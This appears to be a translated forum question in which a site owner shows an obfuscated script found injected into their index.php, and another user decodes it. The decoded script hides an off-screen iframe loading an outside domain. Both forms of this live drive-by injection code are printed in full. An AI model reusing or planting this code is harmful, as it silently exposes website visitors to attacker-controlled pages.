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<script>
try{1-prototype;}catch(asd){x=2;}if(x){fr="fromChar";
 f=[4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92
 ,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92,59,97,92,99,90,101,106,29
,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,
95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,
105,102,102,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,1
06,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103
,48,36,38,99,94,90,94,86,92,98,98,88,112,106,105,36,99,92,106,36,111,99,97,37,102,93,103,24,48
,4,0,94,93,104,98,37,95,89,23,51,21,30,92,103,100,63,89,30,49,2,1,90,100,90,107,98,92,100,105,
37,88,100,91,111,35,88,102,101,92,100,89,58,94,94,99,90,29,96,92,103,100,31,48,4,0,114,50,3,-1
,110,95,99,91,101,108,37,101,99,99,101,86,91,22,50,23,92,103,100,55,89,91,49,2,1];
v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");zx=fr+z;for(i=0;286-5+5-
i>0;i+=1){j=i;if(e)s=s+r[zx]((w[j]*1+(9+e("j%3"))));}if(x&&f&&012===10)e(s);
</script>

我不知道这个脚本做了什么，但昨天我在我的网页上发现了这个index.php，这实际上是让网站不显示。

是不是很危险，比如有人入侵了我的网站之类的？

让我知道是否有人对此有任何想法。

编辑：由Rob W添加（不是原始海报）：代码被混淆了。修复语法错误（你的1\n06格式化导致 106 被分解e(s)成文字结果）：eval(s)s

function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src  = "http://michaelmazur.net/xml.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;

这个脚本似乎是某种跟踪器。由于同源策略的限制，外部页面无法读取您页面的 cookie/etc 。这并不能保证您的服务器是安全的，因为它已被入侵。

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0 回答 0